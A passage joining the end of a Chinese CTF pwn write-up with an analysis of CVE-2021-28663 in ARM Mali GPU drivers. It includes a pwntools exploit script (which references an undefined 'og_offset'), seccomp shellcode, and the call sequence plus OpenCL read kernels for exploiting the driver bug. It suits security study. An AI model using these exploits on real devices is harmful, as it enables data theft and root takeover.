这里就可以用他们泄漏出地址。这个技巧还是需要读者不断进行调试然后一步一步得出来的。
###### problem
这里就存在一个小问题了，这里的printf只能利用一次，而且printf的信息是在程序完成后进行的所以我们是不可能利用他来进行一个canary
leak因为到时候就晚了。。所以这里肯定是需要进行重复利用main函数那怎么用尼？
###### 解决
scanf(“%d”,*)的时候如果“-”“+”输入是不会破坏栈里的内容，但是会帮助你的输入到ret的地址。这样就可以帮助我们绕过canary。
### 思路利用
有了上面的分析这里的利用就比较简单了
一、先利用printf进行几个libc函数的泄漏，查出libc
二、利用scanf函数覆盖ret为main
三、利用scanf函数覆盖ret地址为onegadget
### exp
#!/usr/bin/env python
from pwn import *
context.log_level = ‘debug’
p = process(“./challenge”)
a = ELF(“./challenge”)
e = a.libc
main = 0x400806
onegadget = 0x45216
free_got = 0x600FA8
p.sendline(‘y’)
p.sendline(‘%8$s’)
p.sendline(‘-1’)
gdb.attach(p)
p.sendline(str(free_got))
for i in range(25): p.sendline(‘+’)
p.sendline(str(main))
p.sendline(str(0))
p.sendline(‘a’)
p.recvuntil(“Tressure Box: “)
libc_base = u64(p.recv()[:6].ljust(8, ‘x00’))-e.symbols[“free”]
og = libc_base + og_offset
p.sendline(‘y’)
p.sendline(‘AAAA’)
p.sendline(‘-1’)
print hex(og)
for i in range(26): p.sendline(‘+’)
p.sendline(str(og&0xffffffff))
p.sendline(str((og>>32)&0xffffffff)) #因为int只能存4位数字所以需要分两次输入
p.sendline(‘y’)
p.interactive()
## Easy-shell
这个题目思路上不是很难但是在构造shellcode上就有一些难度了。
#### 流程分析:
要求输入并且执行输入,所以判断是输入符合条件的shellcode获取flag
限制:
* 长度在 -getpagesize() & (本地获取此值为0x4000)内
* 要求输入为 字母或者数字
ν 源程序检测
ν 对 _ctype_b_loc 函数不太熟悉,使用代码对对应检测做测试
* Shellcode不可执行execve (seccomp)
ν 看到有 prctl 函数 , ida 查看交叉引用 ,发现有一个函数调用了
ν 调用 prctl 的函数在init_array中 , 加载时调用
#### 解决:
* Github上有大佬脚本可以完成 alphanum 的encode [工具](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder)
ν 也可以考虑下 msfvenom 的 alpha encoder
* Seccomp 下的获取flag shellcode可以参考 pwnable.tw 的 orw , 此处使用shellcraft给出一个shellcode
shellc = shellcraft.amd64.linux.open(“flagx00”)
shellc += shellcraft.amd64.linux.read(“rax”, “rsp”,0x30)
shellc += shellcraft.amd64.linux.write(1 , “rsp” , 0x30)
[工具版exp](https://github.com/ly-test-fuzz/pwn_repo/blob/master/nullcon/easy-shell/exp1.py)
[手动版exp](https://github.com/ly-test-fuzz/pwn_repo/blob/master/nullcon/easy-shell/exp2.py) | [参考](https://lordidiot.github.io/2019-02-03/nullcon-hackim-ctf-2019/#easy-shell)
#### 手动版原理:
自修改shellcode
前提条件: shellcode 所在段 rwx
思路:
当前的限制是:shellcode的字节码只可以使用 字符或者数字组成,那么在shellcode所在段rwx
的前提下，我们可以利用第一组受限制的shellcode执行 read(0 , &shellcode , n) (因为需要调用shellcode （call
$xxx） , 所以&shellcode 在寄存器中 ,具体情况具体分析) ,
这样子可以读入第二组不受字母数字限制的shellcode覆盖第一组shellcode继续执行
注意点
因为我们需要调用 read , 所以需要使用软终端(int 0x80) 或者 快速系统调用(sysenter | syscall) 来对read进行调用
本题中推荐使用 syscall , 因为syscall 的调用表中 read 的调用号为0 , 较好获取 (int 0x80 的调用表中 read
的调用号为 3 , 在amd64下, inc 和 dec 受限制不可使用 , 数字3较难获取)
需要用 异或 去获取 syscall 的 字节码 | （手动脚本中使用 0x3539 ^ 0x3036 来获得 0x050f (syscall)）
[函数调用表](https://blog.csdn.net/sinat_26227857/article/details/44244433)
### 总结
国际赛的题目确实很能让人大开眼界。。认识到自己的不足学到新知识，pwn的路上，道阻且长啊！ | 社区文章 |
**作者：2freeman（姚俊）
原文链接：<https://vul.360.net/archives/263>**
## 综述
回顾Android内核漏洞史可以发现，大部分Android内核漏洞属于内存漏洞，而逻辑漏洞相对少见。由于内存漏洞具有典型的漏洞模式、明显的副作用以及较完善的检测方法，因此这类漏洞较容易发现。对应地，逻辑漏洞没有典型的漏洞模式（往往与功能紧密相关）、不确定的副作用以及缺乏普适的检测方法，因此，挖掘这类漏洞相对困难。正因为如此，逻辑漏洞有它独特的魅力。
这篇文章将深入分析CVE-2021-28663，它是ARM Mali GPU驱动里的一个逻辑漏洞。这个漏洞堪称后门：
1 抗碎片化：影响使用联发科、海思以及猎户座SoC的手机，近几年面世的手机几乎都受影响；
2 攻击具有隐蔽性：该漏洞的攻击方式与常见的利用方式有很大不同，据我所知，目前没有公开资料介绍该漏洞的利用方法；
3 普通APP可以轻易窃取其他APP或者内核运行时数据，甚至修改其他APP的代码，整个过程不需要获得任何额外的权限；
4 ROOT提权具有100%的成功率；
下面我将揭开它神秘的面纱。
## 漏洞影响
由于联发科、海思以及猎户座SoC均使用ARM Mali GPU，所以使用这些芯片的手机都可能受影响。我搜集了部分主流芯片或者手机相关源代码，发现均受影响：
时间 | 厂商 | 手机型号 | 芯片型号 | 驱动版本
---|---|---|---|---
2021 | SAMSUNG | S21 | Exynos 2100 | v_r20p0
2020 | HUAWEI | Mate40 | Kirin 9000 | r23p0-01rel0
2020 | Redmi | K30U | 天玑1000+ | v_r21p0
2020 | Redmi | 10X | 天玑820 | v_r21p0
2020 | SAMSUNG | S20 | Exynos 990 | v_r25p1
2019 | HUAWEI | Mate30 | Kirin 990 | b-r18p0-01rel0
2019 | Redmi | Note8 Pro | Helio G90T | b_r20p0
2019 | SAMSUNG | S10 | Exynos 9820 | b_r16p0
2018 | HUAWEI | Mate20 | Kirin 980 | b-r18p0-01rel0
2018 | Redmi | 红米 6 | Helio P22 | m-r20p0
2018 | SAMSUNG | S9 | Exynos 9810 | b_r19p0
2017 | HUAWEI | Mate10 | Kirin 970 | b-r14p0-00cet0
2017 | LENOVO | K8 Plus | Heli0 P25 | r18p0
2017 | SAMSUNG | S8 | Exynos 8895 | b_r16p0
2016 | HUAWEI | Mate9 | Kirin 960 | b-r14p0-00cet0
2016 | Meizu | M3x | Helio P20 | r12p1
2016 | SAMSUNG | S7 | Exynos 8890 | r22p0
2015 | HUAWEI | Mate8 | Kirin 950 | r20p0-01rel0
2015 | SAMSUNG | S6 | Exynos 7420 | r15p0
正如综述里提到，普通APP可以借助漏洞完成以下攻击：
1 窃取其他APP运行时内存数据
2 修改其他APP代码
3 窃取内核运行时内存数据
4 稳定地获得ROOT权限
相对常见的内核漏洞，这个漏洞不但可以稳定地获取ROOT权限，而且可以以非常隐蔽的方式获取其他APP和内核的运行时数据，甚至修改其他APP的代码，整个过程不需要获得任何额外的权限。从攻击过程和结果来看，堪称后门级漏洞。
## 漏洞分析
除了CPU，一个SoC上还有很多针对具体业务场景特制的处理器，比如GPU。GPU的主要功能是对图形进行渲染。在IOMMU的帮助下，GPU可以有自己的虚拟地址空间。通过映射物理页，GPU和CPU之间可以高效地传输数据。而上述功能的实现，依赖于内核驱动。
### GPU映射物理页过程 – 返回假的虚拟地址
具体到ARM设计实现的GPU，它使用的是Mali驱动。Mali驱动的一个重要功能是为GPU维护IOMMU页表。当应用（运行在CPU上）想要让GPU为其处理数据或者渲染图形时，驱动需要帮忙将数据所在的物理页映射到GPU的地址空间中，这样，GPU可以立即“看到”这些数据。整个过程没有额外的数据拷贝操作，从而大大提高处理效率。Mali驱动实现了以下相关操作：
序号 | 命令 | 功能
---|---|---
1 | KBASE_IOCTL_MEM_ALLOC | 分配内存区域，内存区域中的页会映射到GPU中，可选择同时映射到CPU
2 | KBASE_IOCTL_MEM_QUERY | 查询内存区域属性
3 | KBASE_IOCTL_MEM_FREE | 释放内存区域
4 | KBASE_IOCTL_MEM_SYNC | 同步数据，使得CPU和GPU可以及时看到对方操作结果
5 | KBASE_IOCTL_MEM_COMMIT | 改变内存区域中页的数量
6 | KBASE_IOCTL_MEM_ALIAS | 为某个内存区域创建别名，即多个GPU虚拟地址指向同一个区域
7 | KBASE_IOCTL_MEM_IMPORT | 将CPU使用的内存页映射到GPU地址空间中
8 | KBASE_IOCTL_MEM_FLAGS_CHANGE | 改变内存区域属性
表格中提到的内存区域（memory
region）实际上是Mali驱动里的一个概念，它包含了实际使用的物理页。以下分析基于[三星A71源代码](https://opensource.samsung.com/uploadSearch?searchValue=A7160)
我先介绍下`KBASE_IOCTL_MEM_ALLOC`命令处理过程。通过这个命令，你可以了解驱动是如何将物理页映射到进程地址空间（CPU）和GPU地址空间。
这个命令接收的参数如下：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
183 union kbase_ioctl_mem_alloc {
184 struct {
185 __u64 va_pages;
186 __u64 commit_pages;
187 __u64 extent;
188 __u64 flags;
189 } in;
190 struct {
191 __u64 flags;
192 __u64 gpu_va;
193 } out;
194 };
主要的输入参数有：
`va_pages`表示待分配的内存区域最多可以容纳多少物理页，驱动会在GPU空间中留出相应大小的虚拟地址范围；
`commit_pages`表示当下驱动需要为这个内存区域分配多少个物理页，应用可根据自身需要调用`KBASE_IOCTL_MEM_COMMIT`命令调整页的数量；
`flags`表示内存区域属性，比如是否映射到CPU、是否可读可写；
输出参数有：
`gpu_va`表示分配的内存区域在GPU空间中的虚拟地址，GPU可以使用该地址访问相应的物理页；
具体的分配过程如下：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
kbase_api_mem_alloc()
|
| BASE_MEM_SAME_VA
|
|-> kbase_mem_alloc()
|
|-> kbase_check_alloc_flags()
|
|-> kbase_alloc_free_region()
|
|-> kbase_reg_prepare_native()
|
|-> kbase_alloc_phy_pages()
|
|-> kctx->pending_regions[cookie_nr] = reg
如果进程是64位，默认使用`BASE_MEM_SAME_VA`方式创建映射，它的含义是CPU和GPU使用相同的虚拟地址。具体的分配过程由`kbase_mem_alloc()`实现。
它首先调用`kbase_check_alloc_flags()`来检查应用传入的flags（属性）是否合法：
drivers/gpu/arm/b_r19p0/mali_kbase_mem.c
2582 bool kbase_check_alloc_flags(unsigned long flags)
2583 {
2592 /* Either the GPU or CPU must be reading from the allocated memory */
2593 if ((flags & (BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD)) == 0)
2594 return false;
2595
2596 /* Either the GPU or CPU must be writing to the allocated memory */
2597 if ((flags & (BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR)) == 0)
2598 return false;
2617 /* GPU should have at least read or write access otherwise there is no
2618 reason for allocating. */
2619 if ((flags & (BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR)) == 0)
2633 }
上述摘录的代码片段主要与映射属性有关，通过代码可以了解到：
1 内存区域必须映射到GPU中，映射属性可以是只读、仅可写、可读写（line 2619）；
2 CPU和GPU至少有一方是可以读内存区域的，否则分配物理页没有意义（line 2593）；
3 同样，至少有一方是可以写内存区域的，否则分配物理页没有意义（line 2597）；
之后，驱动调用`kbase_alloc_free_region()`来分配新的内存区域`kbase_va_region`：
drivers/gpu/arm/b_r19p0/mali_kbase_mem.h
241 struct kbase_va_region {
248 size_t nr_pages;
372 struct kbase_mem_phy_alloc *cpu_alloc; /* the one alloc object we mmap to the CPU when mapping this region */
373 struct kbase_mem_phy_alloc *gpu_alloc; /* the one alloc object we mmap to the GPU when mapping this region */
383 };
我摘录了相关字段：
`nr_pages`表示这个区域最多可以包含多少物理页； `cpu_alloc`用于CPU地址空间映射； `gpu_alloc`用户GPU地址空间映射；
`kbase_reg_prepare_native()`负责初始化`reg->cpu_alloc`和`reg->gpu_alloc`：
drivers/gpu/arm/b_r19p0/mali_kbase_mem.h
541 static inline int kbase_reg_prepare_native(struct kbase_va_region *reg,
542 struct kbase_context *kctx, int group_id)
543 {
549 reg->cpu_alloc = kbase_alloc_create(kctx, reg->nr_pages,
550 KBASE_MEM_TYPE_NATIVE, group_id);
551 if (IS_ERR(reg->cpu_alloc))
552 return PTR_ERR(reg->cpu_alloc);
553 else if (!reg->cpu_alloc)
554 return -ENOMEM;
555
556 reg->cpu_alloc->imported.native.kctx = kctx;
557 if (kbase_ctx_flag(kctx, KCTX_INFINITE_CACHE)
558 && (reg->flags & KBASE_REG_CPU_CACHED)) {
566 } else {
567 reg->gpu_alloc = kbase_mem_phy_alloc_get(reg->cpu_alloc);
568 }
578 }
这里我们需要使`reg->cpu_alloc`和`reg->gpu_alloc`指向同一个对象(line
567)，它们均是`kbase_mem_phy_alloc`:
drivers/gpu/arm/b_r19p0/mali_kbase_mem.h
128 struct kbase_mem_phy_alloc {
129 struct kref kref;
130 atomic_t gpu_mappings;
131 size_t nents;
132 struct tagged_addr *pages;
133 struct list_head mappings;
134 struct list_head evict_node;
135 size_t evicted;
136 struct kbase_va_region *reg;
137 enum kbase_memory_type type;
177 };
我仅摘录了相关字段：
`kref`表示对象的引用次数；
`gpu_mappings`表示多少虚拟地址映射到该区域（想想前面提到`KBASE_IOCTL_MEM_ALIAS`命令）；
`nents`表示当前有多少物理页； `pages`表示物理页数组； `reg`指向包含该对象的reg；
`type`表示内存类型，这里是`KBASE_MEM_TYPE_NATIVE`；
基本的数据结构已经建立起来，驱动调用`kbase_alloc_phy_pages()`为`reg->cpu_alloc`分配物理页，之后将reg挂载到`kctx->pending_regions`数组中：
drivers/gpu/arm/b_r19p0/mali_kbase_mem_linux.c
254 struct kbase_va_region *kbase_mem_alloc(struct kbase_context *kctx,
255 u64 va_pages, u64 commit_pages, u64 extent, u64 *flags,
256 u64 *gpu_va)
257 {
376 if (*flags & BASE_MEM_SAME_VA) {
389 /* return a cookie */
390 cookie_nr = __ffs(kctx->cookies);
391 kctx->cookies &= ~(1UL << cookie_nr);
392 BUG_ON(kctx->pending_regions[cookie_nr]);
393 kctx->pending_regions[cookie_nr] = reg;
394
395 /* relocate to correct base */
396 cookie = cookie_nr + PFN_DOWN(BASE_MEM_COOKIE_BASE);
397 cookie <<= PAGE_SHIFT;
398
403 if (kctx->api_version < KBASE_API_VERSION(10, 1) ||
404 kctx->api_version > KBASE_API_VERSION(10, 4)) {
405 *gpu_va = (u64) cookie;
406 kbase_gpu_vm_unlock(kctx);
407 return reg;
408 }
484 }
这里的逻辑很简单：在`kctx->pending_regions`数组中找一个空余位置（line 391），然后保存reg（line
393），需要注意的是返回值并非真正的地址（line 405），只是一个临时值而已（line 396/397），这个值会在后续过程中使用。
至此，`kbase_api_mem_alloc()`的主要过程我们已经分析完毕：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
kbase_api_mem_alloc()
|
|-> kbase_mem_alloc()
|
|-> kbase_check_alloc_flags() // 检查属性是否合法
|
|-> kbase_alloc_free_region() // 分配reg
|
|-> kbase_reg_prepare_native() // 分配kbase_mem_phy_alloc，reg->cpu_alloc和reg->gpu_alloc指向同一个对象
|
|-> kbase_alloc_phy_pages() // 分配物理页
|
|-> kctx->pending_regions[cookie_nr] = reg // 返回假的虚拟地址
### GPU映射物理页过程 – 建立CPU及GPU映射
应用该如何使用假的虚拟地址呢？实际上是作为`mmap`系统调用参数：
gpu_va = mmap(0, MALI_MAP_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED, dev, alloc.out.gpu_va);
`mmap`系统调用最终调用Mali驱动注册的`kbase_mmap()`，这个函数具体过程如下：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
kbase_mmap()
|
|-> kbase_context_mmap()
|
|-> kbase_reg_mmap()
| |
| | reg = kctx->pending_regions[cookie]
| |
| |-> kbase_gpu_mmap()
|
|-> kbase_cpu_mmap()
`mmap`系统调用正常语义是将物理页映射到进程的地址空间，由于驱动指定了`BASE_MEM_SAME_VA`，所以`kbase_mmap()`在实现正常的映射功能之外，还要将这些物理页映射到GPU地址空间中。需要注意的是：CPU和GPU映射的虚拟地址是一样的。
这里仅分析`kbase_gpu_mmap()`：
drivers/gpu/arm/b_r19p0/mali_kbase_mem.c
1174 int kbase_gpu_mmap(struct kbase_context *kctx, struct kbase_va_region *reg, u64 addr, size_t nr_pages, size_t align)
1175 {
1198 err = kbase_add_va_region(kctx, reg, addr, nr_pages, align);
1199 if (err)
1200 return err;
1205 if (reg->gpu_alloc->type == KBASE_MEM_TYPE_ALIAS) {
// 稍后我会分析这里
1235 } else {
1236 err = kbase_mmu_insert_pages(kctx->kbdev,
1237 &kctx->mmu,
1238 reg->start_pfn,
1239 kbase_get_gpu_phy_pages(reg),
1240 kbase_reg_current_backed_size(reg),
1241 reg->flags & gwt_mask,
1242 ctx->as_nr,
1243 group_id);
1244 if (err)
1245 goto bad_insert;
1246 kbase_mem_phy_alloc_gpu_mapped(alloc);
1247 }
1291 }
`kbase_gpu_mmap()`主要功能是将物理页映射到IOMMU中，即调用`kbase_mmu_insert_pages()`，之后将`alloc->gpu_mappings`引用计数加1。这个引用计数至关重要，驱动通过查看这个引用计数来确定相关操作是否可以应用到相应的内存区域。最终，`mmap`系统调用返回值就是映射到CPU和GPU的虚拟地址。
综上所述，GPU映射的典型流程分为两步：
alloc and map pages for GPU
|
|-> kbase_api_mem_alloc() // 分配reg及物理页，reg->gpu_alloc->gpu_mappings = 0
|
|-> kbase_mmap() // 将reg中的物理页映射到CPU和GPU空间，reg->gpu_alloc->gpu_mappings = 1
在分配物理页时，这些页面并没有映射到GPU的虚拟地址空间中，因此，`reg->gpu_alloc->gpu_mappings`计数为0；当`kbase_gpu_mmap()`将物理页映射到GPU空间时，`reg->gpu_alloc->gpu_mappings`计数加1。从语义上看，这样做非常合理，`gpu_alloc->gpu_mappings`准确、及时地表示了内存区域中物理页的映射状态。但是，随着功能的增加，情况变得复杂。
### GPU映射物理页过程 – 别名操作
正如我之前提到，Mali
GPU实现了KBASE_IOCTL_MEM_ALIAS命令，它的主要作用是将同一个内存区域映射到多个不同的虚拟地址空间中。整个别名实现过程类似于`KBASE_IOCTL_MEM_ALLOC`，也是分为两步：
alias mapping on GPU
|
|-> kbase_api_mem_alias() // 创建新的reg对象，引用需要别名操作的内存区域，返回假的虚拟地址
|
|-> kbase_mmap() // 将内存区域映射到新的虚拟地址
`kbase_api_mem_alias()`主要逻辑由`kbase_mem_alias()`完成，其实现如下：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
1681 u64 kbase_mem_alias(struct kbase_context *kctx, u64 *flags, u64 stride,
1682 u64 nents, struct base_mem_aliasing_info *ai,
1683 u64 *num_pages)
1684 {
1696 *flags &= (BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR |
1697 BASE_MEM_COHERENT_SYSTEM | BASE_MEM_COHERENT_LOCAL |
1698 BASE_MEM_PROT_CPU_RD | BASE_MEM_COHERENT_SYSTEM_REQUIRED);
1723 if (!kbase_ctx_flag(kctx, KCTX_COMPAT)) {
1726 *flags |= BASE_MEM_NEED_MMAP;
1727 reg = kbase_alloc_free_region(&kctx->reg_rbtree_same, 0,
1728 *num_pages,
1729 KBASE_REG_ZONE_SAME_VA);
1730 }
1743 reg->gpu_alloc = kbase_alloc_create(kctx, 0, KBASE_MEM_TYPE_ALIAS,
1744 BASE_MEM_GROUP_DEFAULT);
1762 for (i = 0; i < nents; i++) {
1763 if (ai[i].handle.basep.handle < BASE_MEM_FIRST_FREE_ADDRESS) {
1773 } else {
1774 struct kbase_va_region *aliasing_reg;
1775 struct kbase_mem_phy_alloc *alloc;
1776
1777 aliasing_reg = kbase_region_tracker_find_region_base_address(
1778 kctx,
1779 (ai[i].handle.basep.handle >> PAGE_SHIFT) << PAGE_SHIFT);
1804 alloc = aliasing_reg->gpu_alloc;
1812 reg->gpu_alloc->imported.alias.aliased[i].alloc = kbase_mem_phy_alloc_get(alloc);
1813 reg->gpu_alloc->imported.alias.aliased[i].length = ai[i].length;
1814 reg->gpu_alloc->imported.alias.aliased[i].offset = ai[i].offset;
1817 }
1818 }
1821 if (!kbase_ctx_flag(kctx, KCTX_COMPAT)) {
1827 /* return a cookie */
1828 gpu_va = __ffs(kctx->cookies);
1829 kctx->cookies &= ~(1UL << gpu_va);
1830 BUG_ON(kctx->pending_regions[gpu_va]);
1831 kctx->pending_regions[gpu_va] = reg;
1832
1833 /* relocate to correct base */
1834 gpu_va += PFN_DOWN(BASE_MEM_COOKIE_BASE);
1835 gpu_va <<= PAGE_SHIFT;
1836 }
1853 return gpu_va;
1873 }
首先，`kbase_mem_alias()`检查用户传入的flags，从中可以看出（line
1696）：别名映射允许CPU只读，GPU可读写。这个条件对利用起到了限制作用，稍后我会分析。之后分配新的reg（line
1727），并为其分配gpu_alloc（line
1743）。这里并没有直接使用之前分配的reg（回头看看`kbase_mem_alloc()`），而是创建一个新的reg。
然后根据用户传入的handle找到reg（line
1777），经过一番检查之后，`reg->gpu_alloc->imported.alias.aliased[i].alloc`引用了原来的reg。同时，`kbase_mem_phy_alloc_get()`会将`reg->ref`加1。
与`kbase_mem_alloc()`一样，`kbase_mem_alias()`将reg挂载到`kctx->pending_regions`数组中（line
1831），返回假的虚拟地址（line 1853）。
之后，用户同样需要调用`mmap`，`kbase_gpu_mmap`会根据reg的类型（KBASE_MEM_TYPE_ALIAS）进行相应的处理：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
kbase_mmap() -> kbase_context_mmap()
|
|-> kbasep_reg_mmap()
|
|-> kbase_gpu_mmap()
drivers/gpu/arm/b_r19p0/mali_kbase_mem.c
1174 int kbase_gpu_mmap(struct kbase_context *kctx, struct kbase_va_region *reg, u64 addr, size_t nr_pages, size_t align)
1175 {
1202 alloc = reg->gpu_alloc;
1203 group_id = alloc->group_id;
1204
1205 if (reg->gpu_alloc->type == KBASE_MEM_TYPE_ALIAS) {
1206 u64 const stride = alloc->imported.alias.stride;
1207
1208 KBASE_DEBUG_ASSERT(alloc->imported.alias.aliased);
1209 for (i = 0; i < alloc->imported.alias.nents; i++) {
1210 if (alloc->imported.alias.aliased[i].alloc) {
1211 err = kbase_mmu_insert_pages(kctx->kbdev,
1212 &kctx->mmu,
1213 reg->start_pfn + (i * stride),
1214 alloc->imported.alias.aliased[i].alloc->pages + alloc->imported.alias.aliased[i].offset,
1215 alloc->imported.alias.aliased[i].length,
1216 reg->flags & gwt_mask,
1217 kctx->as_nr,
1218 group_id);
1219 if (err)
1220 goto bad_insert;
1221
1222 kbase_mem_phy_alloc_gpu_mapped(alloc->imported.alias.aliased[i].alloc);
1223 }
1234 }
1235 }
1291 }
`kbase_gpu_mmap()`主要逻辑看上去非常简单：将`kbase_mem_alias()`收集到的内存区域（line
1210）映射到新的地址空间（line 1211）。如果成功建立映射，将相关的`reg->gpu_alloc`的`gpu_mappings`加1。
至此，关于内存区域的两个重要操作介绍完毕，从上述分析看，相关操作准确、合理，没有明显的问题。
### GPU映射物理页过程 – 改变属性
前面我提到Mali驱动实现了KBASE_IOCTL_MEM_FLAGS_CHANGE命令，该命令可以修改内存区域属性。相关实现在`kbase_api_mem_flags_change()`中：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
kbase_api_mem_flags_change()
|
|-> kbase_mem_flags_change()
drivers/gpu/arm/b_r19p0/mali_kbase_mem_linux.c
838 int kbase_mem_flags_change(struct kbase_context *kctx, u64 gpu_addr, unsigned int flags, unsigned int mask)
839 {
876 reg = kbase_region_tracker_find_region_base_address(kctx, gpu_addr);
877 if (kbase_is_region_invalid_or_free(reg))
878 goto out_unlock;
879
880 /* Is the region being transitioning between not needed and needed? */
881 prev_needed = (KBASE_REG_DONT_NEED & reg->flags) == KBASE_REG_DONT_NEED;
882 new_needed = (BASE_MEM_DONT_NEED & flags) == BASE_MEM_DONT_NEED;
883 if (prev_needed != new_needed) {
884 /* Aliased allocations can't be made ephemeral */
885 if (atomic_read(®->cpu_alloc->gpu_mappings) > 1)
886 goto out_unlock;
887
888 if (new_needed) {
889 /* Only native allocations can be marked not needed */
890 if (reg->cpu_alloc->type != KBASE_MEM_TYPE_NATIVE) {
891 ret = -EINVAL;
892 goto out_unlock;
893 }
894 ret = kbase_mem_evictable_make(reg->gpu_alloc);
895 if (ret)
896 goto out_unlock;
897 } else {
898 kbase_mem_evictable_unmake(reg->gpu_alloc);
899 }
900 }
978 }
这个函数主要功能是支持BASE_MEM_DONT_NEED操作，即应用不再需要某个内存区域上的物理页了，驱动可以将这些物理页缓存，待合适时机将其释放（line
894）；同时，驱动也支持反向操作：应用继续使用这个内存区域，驱动需要将缓存的物理页找回来，如果已经释放，可以分配新的物理页（line 898）。
上述操作的一个前提条件是`reg->cpu_alloc->gpu_mappings`不能大于1，大于1意味着这些页映射到多个虚拟地址上。Mali驱动不打算处理这种复杂情形。如果内存区域符合上述条件，`kbase_mem_evictable_make()`被调用，来进行清理操作：
drivers/gpu/arm/b_r19p0/mali_kbase_mem_linux.c
765 int kbase_mem_evictable_make(struct kbase_mem_phy_alloc *gpu_alloc)
766 {
767 struct kbase_context *kctx = gpu_alloc->imported.native.kctx;
768
769 lockdep_assert_held(&kctx->reg_lock);
770
771 kbase_mem_shrink_cpu_mapping(kctx, gpu_alloc->reg,
772 0, gpu_alloc->nents);
773
774 mutex_lock(&kctx->jit_evict_lock);
775 /* This allocation can't already be on a list. */
776 WARN_ON(!list_empty(&gpu_alloc->evict_node));
777
778 /*
779 * Add the allocation to the eviction list, after this point the shrink
780 * can reclaim it.
781 */
782 list_add(&gpu_alloc->evict_node, &kctx->evict_list);
783 mutex_unlock(&kctx->jit_evict_lock);
784 kbase_mem_evictable_mark_reclaim(gpu_alloc);
785
786 gpu_alloc->reg->flags |= KBASE_REG_DONT_NEED;
787 return 0;
788 }
`kbase_mem_evictable_make()`首先将之前建立的CPU映射取消（line
771）。此时，应用再也无法通过虚拟地址访问这些物理页。之后，将`gpu_alloc`加入`kctx->evict_list`链表。这个链表实际上会被`kbase_mem_evictable_reclaim_scan_objects()`使用：
drivers/gpu/arm/b_r19p0/mali_kbase_mem_linux.c
627 unsigned long kbase_mem_evictable_reclaim_scan_objects(struct shrinker *s,
628 struct shrink_control *sc)
629 {
638 list_for_each_entry_safe(alloc, tmp, &kctx->evict_list, evict_node) {
639 int err;
640
641 err = kbase_mem_shrink_gpu_mapping(kctx, alloc->reg,
642 0, alloc->nents);
660 kbase_free_phy_pages_helper(alloc, alloc->evicted);
661 freed += alloc->evicted;
662 list_del_init(&alloc->evict_node);
673 }
678 }
`kbase_mem_evictable_reclaim_scan_objects()`主要作用是遍历`kctx->evict_list`链表（line
638），将之前建立的GPU映射撤销（line 641），最后释放所有的物理页（line 660）。
至此，物理页整个生命周期已经分析完毕。漏洞实际上隐藏在KBASE_IOCTL_MEM_ALIAS命令和KBASE_IOCTL_MEM_FLAGS_CHANGE命令中。之前提到`kbase_mem_flags_change()`有一个前提：`reg->cpu_alloc->gpu_mappings`不能大于1。而别名操作是分两步实现的，`gpu_mappings`引用计数加1是在`kbase_gpu_mmap()`中。如果我们只调用`kbase_mem_alias()`，然后紧接着调用`kbase_mem_flags_change()`会如何？
答案是我们可以映射释放的页！
1.1 kbase_api_mem_alloc() // 分配物理页
1.2 mmap() // 映射到CPU和GPU地址空间
2.1 kbase_mem_alias() // 索引第1步创建的gpu_alloc
3 kbase_mem_flags_change() // 清除第1.2步中建立的CPU映射，gpu_alloc加入kctx->evict_list链表，但物理页没有被释放
2.2 mmap() // 将物理页映射到新的CPU和GPU地址空间
4 kbase_mem_evictable_reclaim_scan_objects() // 清除第1.2步中建立的GPU映射，物理页被回收，但第2.2步建立的CPU和GPU映射不会清除
## 利用方法
通过上述调用过程，我们可以将几乎所有内核可以分配的页映射到CPU和GPU地址空间。之前提到，别名映射要求是CPU只读，GPU可读写。我们可以在进程的虚拟地址空间中窃取这些页的内容，但不能修改。而GPU可以读写这些页，因此后面的分析主要集中在如何利用GPU读写物理页。
### mesa
针对高通的Adreno
GPU，无论是KGSL驱动，还是freeadreno项目，你可以找到大量的GPU私有指令，从而实现GPU读写内存。针对ARM的Mali
GPU，没有公开资料介绍它的指令集（商业机密）。唯一的线索是[Alyssa
Rosenzweig](https://gitlab.freedesktop.org/alyssa)主导的Bifrost和Panfrost项目。我花费了很长时间试图能够手写一段可以直接在Mali
GPU上运行的二进制代码。最后发现这条路困难重重。
如果没有办法实现GPU读写物理页，这个漏洞只能实现信息泄露。我们真的无路可走了么？
我们知道大部分的软件是典型的分层体系结构，通过不断地抽象，最终完成复杂的功能。具体到GPU，即便我们对指令集一无所知，我们还是可以让它绘制图形。这得益于OpenGL，它对底层进行了抽象，屏蔽了硬件之间的不同。但是，OpenGL更多地是面向图形，比如点、线、投影、剪裁等。我没有找到接口可以随意访问特定位置的内存。
其实，现在的GPU已经不单单是绘制图形，它还可以用来进行密集计算。而在常规数学运算中，从内存读取某个变量值（读内存）和向内存写入计算结果（写内存）是基本操作，我们是不是可以通过上层封装的功能来实现GPU读写物理页？
### OpenCL
在浏览维基百科关于[OpenCL](https://en.wikipedia.org/wiki/OpenCL)的介绍时，我看到了希望：
OpenCL(Open Computing Language) is a framework for writing programs that execute across heterogeneous platforms consisting of central processing(CPUs), graphics processing units(GPUs), digital signal processors(DSPs), field-programmable gate arrays(FPGAs) and other processors or hardware accelerators.
网上有很多OpenCL代码示例，这里不做详细介绍。仅展示下我实现的利用中使用的OpenCL代码。
片段一：泄露内存地址
char *cl_code =
"__kernel void leak_mem_addr(__global unsigned long *addr) {"
" *addr = (unsigned long)addr;"
"}";
OpenCL库本身会分配相关内存，我需要知道它分配的内存地址。通过上述代码，我可以获取该地址。
片段二：任意地址读
char *cl_code =
"__kernel void gpu_read(__global unsigned long *addr, int offset) {"
" int idx = get_global_id(0);"
" *(addr+idx) = addr[offset+idx];"
"}";
上述代码实现了GPU任意地址读。由于映射的物理页非常多，我们可以通过并行编程加速这个过程;)
相信你已经深得要领，这里就不展示任意地址写了。
